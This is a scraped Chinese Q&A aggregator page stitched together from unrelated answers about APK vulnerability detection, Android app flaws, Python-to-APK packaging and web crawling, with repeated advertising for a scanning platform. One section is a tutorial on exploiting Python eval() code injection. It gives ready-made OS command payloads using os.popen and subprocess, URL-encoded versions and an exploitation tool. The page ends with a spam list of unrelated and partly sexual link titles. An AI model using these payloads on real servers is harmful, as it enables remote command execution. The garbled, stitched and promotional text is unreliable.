導航:首頁 > 編程語言 > apk漏洞python

apk漏洞python

發布時間:2022-05-16 00:25:09

『壹』 如何對安卓APK進行安全檢測和漏洞檢測

一般APP安全檢測主要就是對APP安全風險以及安全漏洞檢測,根據愛內測平台介紹,主要通過靜態分析、動態分析以及人工檢測:
靜態分析: 利用apktool、dex2jar、jd-gui、smali2dex等靜態分析工具對應用進行反編譯,並對反編譯後的java文件、xml文件等文件靜態掃描分析,通過關鍵詞搜索等靜態方式將具有安全隱患的代碼進行摘錄並存入到檢測平台後台,為後續的安全檢測報告提供數據依據
動態分析:對應用軟體安裝、運行過程的行為監測和分析。檢測的方式包括沙箱模型和虛擬機方式。虛擬機方式通過建立與android手機終端軟體運行環境幾乎一樣的虛擬執行環境,手機應用軟體在其中獨立運行,從外界觀察應用程序的執行過程和動態,進而記錄應用程序可能表現出來的惡意行為。
人工檢測: 專業安全人員對待檢測應用,對其進行安裝、運行和試用,通過在試用過程中,逐步掌握應用的特點,並通過專業經驗,來圈定檢測重點。人工專業檢測在涵蓋基礎檢測和深度檢測的全部檢測項的同時,兼顧側重點檢測,給予應用更全面、更專業、更貼合應用的量身打造的檢測服務。

『貳』 有誰知道apk漏洞檢測工具的好不好用的,要有數據安全檢測這方面

由於Android系統的開源性,各類Android App經常被爆出漏洞,以及被反編譯、破解。有的Android開發者只是對App進行混淆代碼或是防二次打包,對於源碼的保護並不到位。同時也不清楚其中所隱藏的漏洞,這里給大家介紹一個Android App漏洞測試工具。同時,經常需要用到的一個性能測試工具,在Android應用開發或測試過程中,對應用程序進行性能壓力測試,或者GUI功能測試,以找出程序中隱藏的問題。
1. 文件檢查
檢查dex、res文件是否存在源代碼、資源文件被竊取、替換等安全問題。
2. 漏洞掃描
掃描簽名、XML文件是否存在安全漏洞、存在被注入、嵌入代碼等風險。
3. 後門檢測
檢測App是否存在被二次打包,然後植入後門程序或第三方代碼等風險。
4. 一鍵生成
一鍵生成App關於源碼、文件、許可權、關鍵字等方面的安全風險分析報告。
自動化App安全檢測平台,只需一鍵上傳APK就可完成安全漏洞檢測,檢測結果清晰、詳細、全面,並可一鍵生成報告,極大的提高了開發者的開發效率,有效幫助開發者了解App安全狀況,提高App安全性。
加密的漏洞分析功能http://safe.ijiami.cn/集成了目前黑客最常用的各種破解方法與思路,模擬黑客攻擊行為進行分析。開發者只需上傳自己的應用,就可以自動分析出應用存在哪些可被利用的風險漏洞,清晰直觀,並且全網首家支持一鍵下載完整詳細的PDF格式分析報告,方便技術及公司管理人員對應用漏洞相關結果進行傳遞與研究,有針對性的進行安全防護,避免破解損失。

『叄』 怎樣才能對APK源代碼進行安全檢測,需要用什麼檢測平台或者工具嗎

要對APK安全檢測,可以借用專業的第三方平台,比如愛內測,主要對APK進行遍歷掃描,找出APK源碼中的安全漏洞,還能生成專業的安全檢測報告,給出修復建議。

『肆』 Android APP漏洞,求APK漏洞檢測工具

由於Android系統的開源性,各類Android App經常被爆出漏洞,以及被反編譯、破解。有的Android開發者只是對App進行混淆代碼或是防二次打包,對於源碼的保護並不到位。同時也不清楚其中所隱藏的漏洞,這里給大家介紹一個Android App漏洞測試工具。同時,經常需要用到的一個性能測試工具,在Android應用開發或測試過程中,對應用程序進行性能壓力測試,或者GUI功能測試,以找出程序中隱藏的問題。
1. 文件檢查
檢查dex、res文件是否存在源代碼、資源文件被竊取、替換等安全問題。
2. 漏洞掃描
掃描簽名、XML文件是否存在安全漏洞、存在被注入、嵌入代碼等風險。
3. 後門檢測
檢測App是否存在被二次打包,然後植入後門程序或第三方代碼等風險。
4. 一鍵生成
一鍵生成App關於源碼、文件、許可權、關鍵字等方面的安全風險分析報告。
自動化App安全檢測平台,只需一鍵上傳APK就可完成安全漏洞檢測,檢測結果清晰、詳細、全面,並可一鍵生成報告,極大的提高了開發者的開發效率,有效幫助開發者了解App安全狀況,提高App安全性。
愛加密的漏洞分析功能http://safe.ijiami.cn/集成了目前黑客最常用的各種破解方法與思路,模擬黑客攻擊行為進行分析。開發者只需上傳自己的應用,就可以自動分析出應用存在哪些可被利用的風險漏洞,清晰直觀,並且全網首家支持一鍵下載完整詳細的PDF格式分析報告,方便技術及公司管理人員對應用漏洞相關結果進行傳遞與研究,有針對性的進行安全防護,避免破解損失。

『伍』 怎樣檢測APK應用是否安全,有什麼好用的檢測工具

這個是需要專業的手機的軟體才可以的。例如應用寶就可以的,主要檢測移動應用存在的安全漏洞、安全風險,對程序機密性會採取不同程度不同方式的檢測,檢測項目包括代碼是否混淆,DEX、so庫文件是否保護,程序簽名、許可權管理是否完整等;

『陸』 Android 應用有哪些安全漏洞

首先,題主詢問「Android 應用」的安全漏洞,說到 Android 應用的安全漏洞,如果拋開系統設計問題,其主要原因是開發過程當中疏漏引起的。但其實也並不能把這些責任都怪在程序猿頭上。所以本答案也將會對 Android 系統設計以及生態環境做一些闡述。(如果想了解 Android 惡意軟體的情況,那就需要另開題目了。) 1. 應用反編譯 漏洞:APK 包非常容易被反編譯成可讀文件,稍加修改就能重新打包成新的 APK。 利用:軟體破解,內購破解,軟體邏輯修改,插入惡意代碼,替換廣告商 ID。 建議:使用 ProGuard 等工具混淆代碼,重要邏輯用 NDK 實現。 例子:反編譯重打包 FlappyBird,把廣告商 ID 換了,游戲改加插一段惡意代碼等等。 2. 數據的存儲與傳輸 漏洞:外部存儲(SD 卡)上的文件沒有許可權管理,所有應用都可讀可寫。開發者把敏感信息明文存在 SD 卡上,或者動態載入的 payload 放在 SD 卡上。 利用:竊取敏感信息,篡改配置文件,修改 payload 邏輯並重打包。 建議:不要把敏感信息放在外部存儲上面;在動態載入外部資源的時候驗證文件完整性。 漏洞:使用全局可讀寫(MODE_WORLD_READABLE,MODE_WORLD_WRITEABLE)的內部存儲方式,或明文存儲敏感信息(用戶賬號密碼等)。 利用:全局讀寫敏感信息,或 root 後讀取明文信息。 建議:不適用全局可讀寫的內部存儲方式,不明文存儲用戶賬號密碼。 3. 密碼泄露 漏洞:密碼明文存儲,傳輸。 利用: root 後可讀寫內部存儲。 SD 卡全局可讀寫。 公共 WiFi 抓包獲取賬號密碼。 建議:實用成熟的加密方案。不要把密碼明文存儲在 SD 卡上。 4. 組件暴露 (Activity, Service, Broadcast Receiver, Content Provider) 漏洞: 組件在被調用時未做驗證。 在調用其他組件時未做驗證。 利用: 調用暴露的組件,達到某種效果,獲取某些信息,構造某些數據。(比如:調用暴露的組件發簡訊、微博等)。 監聽暴露組件,讀取數據。 建議:驗證輸入信息、驗證組件調用等。android:exported 設置為 false。使用 android:protectionLevel="signature" 驗證調用來源。 5. WebView 漏洞: 惡意 App 可以注入 JavaScript 代碼進入 WebView 中的網頁,網頁未作驗證。 惡意網頁可以執行 JavaScript 反過來調用 App 中注冊過的方法,或者使用資源。 利用: 惡意程序嵌入 Web App,然後竊取用戶信息。 惡意網頁遠程調用 App 代碼。更有甚者,通過 Java Reflection 調用 Runtime 執行任意代碼。 建議:不使用 WebView 中的 setJavaScriptEnabled(true),或者使用時對輸入進行驗證。 6. 其他漏洞 ROOT 後的手機可以修改 App 的內購,或者安裝外掛 App 等。 Logcat 泄露用戶敏感信息。 惡意的廣告包。 利用 next Intent。 7. 總結 Android 應用的漏洞大部分都是因為開發人員沒有對輸入信息做驗證造成的,另外因為 Intent 這種特殊的機制,需要過濾外部的各種惡意行為。再加上 Android 應用市場混亂,開發人員水平參差不齊。所以現在 Android 應用的漏洞,惡意軟體,釣魚等還在不斷增多。再加上 root 對於 App 沙箱的破壞,Android 升級的限制。國內的 Android 環境一片混亂,慘不忍睹。所以,如果想要保證你的應用沒有安全漏洞,就要記住:永遠不要相信外面的世界。

『柒』 python程序怎麼弄成APK文件

有個模塊叫Builder

可以打包Python程序

你要確保你的程序有GUI界面!


Android GUI推薦用kivy

適配性較好

『捌』 如何使用python查找網站漏洞

如果你的Web應用中存在Python代碼注入漏洞的話,攻擊者就可以利用你的Web應用來向你後台伺服器的Python解析器發送惡意Python代碼了。這也就意味著,如果你可以在目標伺服器中執行Python代碼的話,你就可以通過調用伺服器的操作系統的指令來實施攻擊了。通過運行操作系統命令,你不僅可以對那些可以訪問到的文件進行讀寫操作,甚至還可以啟動一個遠程的互動式Shell(例如nc、Metasploit和Empire)。
為了復現這個漏洞,我在最近的一次外部滲透測試過程中曾嘗試去利用過這個漏洞。當時我想在網上查找一些關於這個漏洞具體應用方法的信息,但是並沒有找到太多有價值的內容。在同事Charlie Worrell(@decidedlygray)的幫助下,我們成功地通過Burp POC實現了一個非互動式的shell,這也是我們這篇文章所要描述的內容。
因為除了Python之外,還有很多其他的語言(例如Perl和Ruby)也有可能出現代碼注入問題,因此Python代碼注入屬於伺服器端代碼注入的一種。實際上,如果各位同學和我一樣是一名CWE的關注者,那麼下面這兩個CWE也許可以給你提供一些有價值的參考內容:
1. CWE-94:代碼生成控制不當(『代碼注入』)2. CWE-95:動態代碼評估指令處理不當(『Eval注入』)漏洞利用
假設你現在使用Burp或者其他工具發現了一個Python注入漏洞,而此時的漏洞利用Payload又如下所示:
eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))那麼你就可以使用下面這個Payload來在目標主機中實現操作系統指令注入了:
eval(compile("""for x in range(1):\\n import os\\n os.popen(r'COMMAND').read()""",'','single'))實際上,你甚至都不需要使用for循環,直接使用全局函數「__import__」就可以了。具體代碼如下所示:
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))其實我們的Payload代碼還可以更加簡潔,既然我們已經將import和popen寫在了一個表達式裡面了,那麼在大多數情況下,你甚至都不需要使用compile了。具體代碼如下所示:
__import__('os').popen('COMMAND').read()
為了將這個Payload發送給目標Web應用,你需要對其中的某些字元進行URL編碼。為了節省大家的時間,我們在這里已經將上面所列出的Payload代碼編碼完成了,具體如下所示:
param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29接下來,我們將會給大家介紹關於這個漏洞的細節內容,並跟大家分享一個包含這個漏洞的Web應用。在文章的結尾,我將會給大家演示一款工具,這款工具是我和我的同事Charlie共同編寫的,它可以明顯降低你在利用這個漏洞時所花的時間。簡而言之,這款工具就像sqlmap一樣,可以讓你快速找到SQL注入漏洞,不過這款工具仍在起步階段,感興趣的同學可以在項目的GitHub主頁[傳送門]中與我交流一下。
搭建一個包含漏洞的伺服器
為了更好地給各位同學進行演示,我專門創建了一個包含漏洞的Web應用。如果你想要自己動手嘗試利用這個漏洞的話,你可以點擊這里獲取這份Web應用。接下來,我們要配置的就是Web應用的運行環境,即通過pip或者easy_install來安裝web.py。它可以作為一台獨立的伺服器運行,或者你也可以將它載入至包含mod_wsgi模塊的Apache伺服器中。相關操作指令如下所示:
git clone https://github.com/sethsec/PyCodeInjection.gitcd VulnApp
./install_requirements.sh
python PyCodeInjectionApp.py
漏洞分析
當你在網上搜索關於python的eval()函數時,幾乎沒有文章會提醒你這個函數是非常不安全的,而eval()函數就是導致這個Python代碼注入漏洞的罪魁禍首。如果你遇到了下面這兩種情況,說明你的Web應用中存在這個漏洞:
1. Web應用接受用戶輸入(例如GET/POST參數,cookie值);2. Web應用使用了一種不安全的方法來將用戶的輸入數據傳遞給eval()函數(沒有經過安全審查,或者缺少安全保護機制);下圖所示的是一份包含漏洞的示例代碼:
\
大家可以看到,eval()函數是上述代碼中唯一一個存在問題的地方。除此之外,如果開發人員直接對用戶的輸入數據(序列化數據)進行拆封的話,那麼Web應用中也將會出現這個漏洞。
不過需要注意的是,除了eval()函數之外,Python的exec()函數也有可能讓你的Web應用中出現這個漏洞。而且據我所示,現在很多開發人員都會在Web應用中不規范地使用exec()函數,所以這個問題肯定會存在。
自動掃描漏洞
為了告訴大家如何利用漏洞來實施攻擊,我通常會使用掃描器來發現一些我此前沒有見過的東西。找到之後,我再想辦法將毫無新意的PoC開發成一個有意義的exploit。不過我想提醒大家的是,不要過度依賴掃描工具,因為還很多東西是掃描工具也找不到的。
這個漏洞也不例外,如果你在某個Web應用中發現了這個漏洞,那麼你肯定使用了某款自動化的掃描工具,比如說Burp Suite Pro。目前為止,如果不使用類似Burp Suite Pro這樣的專業掃描工具,你幾乎是無法發現這個漏洞的。
當你搭建好測試環境之後,啟動並運行包含漏洞的示例應用。接下來,使用Burp Suite Pro來對其進行掃描。掃描結果如下圖所示:
\
下圖顯示的是Burp在掃描這個漏洞時所使用的Payload:
\
我們可以看到,Burp之所以要將這個Web應用標記為「Vulnerable」(包含漏洞的),是因為當它將這個Payload發送給目標Web應用之後,伺服器的Python解析器休眠了20秒,響應信息在20秒之後才成功返回。但我要提醒大家的是,這種基於時間的漏洞檢查機制通常會存在一定的誤報。
將PoC升級成漏洞利用代碼
使用time.sleep()來驗證漏洞的存在的確是一種很好的方法。接下來,為了執行操作系統指令並接收相應的輸出數據,我們可以使用os.popen()、subprocess.Popen()、或者subprocess.check_output()這幾個函數。當然了,應該還有很多其他的函數同樣可以實現我們的目標。
因為eval()函數只能對表達式進行處理,因此Burp Suite Pro的Payload在這里使用了compile()函數,這是一種非常聰明的做法。當然了,我們也可以使用其他的方法來實現,例如使用全局函數「__import__」。關於這部分內容請查閱參考資料:[參考資料1][參考資料2]
下面這個Payload應該可以適用於絕大多數的場景:
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Example with one expression
__import__('os').popen('COMMAND').read()
# Example with multiple expressions, separated by commasstr("-"*50),__import__('os').popen('COMMAND').read()如果你需要執行一個或多個語句,那麼你就需要使用eval()或者compile()函數了。實現代碼如下所示:
# Examples with one expression
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True)""",'','single'))#Examples with multiple statements, separated by semicolonseval(compile("""__import__('os').popen(r'COMMAND').read();import time;time.sleep(2)""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True);import time;time.sleep(2)""",'','single'))在我的測試過程中,有時全局函數「__import__」會不起作用。在這種情況下,我們就要使用for循環了。相關代碼如下所示:
eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.Popen(r'COMMAND',shell=True, stdout=subprocess.PIPE).stdout.read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'COMMAND',shell=True)""",'','single'))如果包含漏洞的參數是一個GET參數,那麼你就可以直接在瀏覽器中利用這個漏洞了:
\
請注意:雖然瀏覽器會幫你完成絕大部分的URL編碼工作,但是你仍然需要對分號(%3b)和空格(%20)進行手動編碼。除此之外,你也可以直接使用我們所開發的工具。
如果是POST參數的話,我建議各位直接使用類似Burp Repeater這樣的工具。如下圖所示,我在subprocess.check_output()函數中一次性調用了多個系統命令,即pwd、ls、-al、whoami和ping。
\
\
漏洞利用工具-PyCodeInjectionShell
你可以直接訪問PyCodeInjectionShell的GitHub主頁獲取工具源碼,我們也提供了相應的工具使用指南。在你使用這款工具的過程中會感覺到,它跟sqlmap一樣使用起來非常的簡單。除此之外,它的使用方法跟sqlmap基本相同。

『玖』 哪位大俠用python做過網路爬蟲,可以爬取apk的,有代碼的發一份給我研究下,謝謝

保存文件的話

import urllib

urllib.urlretrieve(url[,filename[,reporthook[,data]]])

比如 urllib..urlretrieve("http://s.xnimg.cn/imgpro/v6/logo.png", "logo.png")

先說明一下網頁重定向。比如在一個download.aspx里

<%
response.rederict("xxx.apk")
%>

這句話是在伺服器端運行的,我現在一下子想不到辦法

閱讀全文

與apk漏洞python相關的資料

熱點內容
壓電池單片機 瀏覽:794
android虛擬機root許可權 瀏覽:701
台灣男老師女學生電影 瀏覽:43
中寰樂駕app為什麼還收費 瀏覽:361
重生推到母親 瀏覽:119
伺服器為什麼會爆服 瀏覽:407
活著余華演員表 瀏覽:406
韓國影視高分溫情片 瀏覽:643
人工智慧及其應用pdf 瀏覽:617
有漏胸的電影 瀏覽:625
打真軍香港電影 瀏覽:617
匯款app原理是什麼 瀏覽:170
法國電影一個偷畫 瀏覽:879
店長的h命令必須服從 瀏覽:94
cad填充命令是什麼 瀏覽:870
java引用類型值類型 瀏覽:240
徐錦江葉子楣方唐鏡 瀏覽:59
可以在線看片的網站 瀏覽:133
小米加密兔手機壁紙 瀏覽:613
2019程序員筆記本 瀏覽:477